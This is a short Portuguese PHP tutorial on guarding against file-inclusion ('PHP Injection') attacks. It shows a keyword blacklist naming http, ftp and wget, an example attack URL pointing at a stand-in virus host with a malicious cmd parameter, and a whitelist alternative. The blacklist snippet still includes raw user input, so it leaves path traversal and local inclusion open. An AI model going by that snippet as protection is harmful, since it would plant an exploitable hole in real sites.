Páginas em PHP podem ser vulneráveis ao ataque chamado PHP Injection. Este ataque consistem em passar por querystring comandos em PHP ou endereços de arquivos que serão interpretados e executados por sua página. Se o site não possuir a devida proteção, o invasor poderá ter total acesso e controle sobre seu site.
Abaixo segue um exemplo de proteção contra PHP Injection, onde verificamos a existência de palavras comuns neste tipo de ataque.
<?php
//Pega os dados passados pela URL
$pagina=$_GET['pagina'];
//Verifica se a string passada possui algum trecho inválido
//Caso tenha mostra uma mensagem de erro
if(eregi("http|www|ftp|.dat|.txt|.gif|wget", $pagina))
{
echo "Erro na URL!";
//Se a variável passada estiver dentro das normas, executa o else abaixo
}else{
if(!empty($pagina)) {
@include ($pagina);
}else{
@include ("index.php"); //essa seria a sua página principal
}
}
?>
Este exemplo não permite que alguém tente colocar URLs e outros tipos de códigos em sua querystring. Veja o exemplo abaixo:
Assim funciona corretamente:
index.php?pagina=contato
Desta maneira o script acima fará o bloqueio:
index.php?pagina=http://www.sitedovirus.com&cmd=comando malicioso
Outra maneira eficiente de evitar este tipo de ataque é mapear todas as páginas de seu site através de IDs. Veja o exemplo abaixo:
$inc = "index.php"; // Página default
if($_GET['opcao']=="1") { $inc = "pagina1.php"; }
if($_GET['opcao']=="2") { $inc = "pagina2.php"; }
include($inc);
Neste exemplo somente deverão ser passados por querystring somente a ID da página desejada. Caso seja passado algo não existente nos ifs, a variável $inc continuará com o valor index.php.